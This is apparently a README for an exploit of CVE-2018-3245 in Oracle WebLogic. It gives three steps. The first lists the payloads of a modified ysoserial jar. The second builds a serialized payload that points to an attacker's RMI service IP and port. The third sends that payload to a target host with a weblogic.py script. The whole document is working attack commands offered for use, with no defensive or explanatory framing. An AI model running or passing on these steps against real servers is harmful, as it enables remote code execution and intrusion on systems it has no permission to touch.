Awesome

CVE-2018-3245

Step 1

java -jar ysoserial-cve-2018-3245.jar

Usage: java -jar ysoserial-cve-2018-3245.jar [payload] '[command]'
Available payload types:
     Payload         Authors   Dependencies
     -------         -------   ------------
     CVE_2018_2893_1 @mbechler
     CVE_2018_2893_2 @mbechler
     CVE_2018_2893_3 @mbechler
     CVE_2018_3245   @mbechler
     JRMPClient      @mbechler
     Jdk7u21         @frohoff

Step 2

java -jar ysoserial-cve-2018-3245.jar CVE_2018_3245 "[RMI_SERVICE_IP]:[PORT]" > poc5.ser

Step 3

python weblogic.py [TARGET_HOST] [PORT] poc5.ser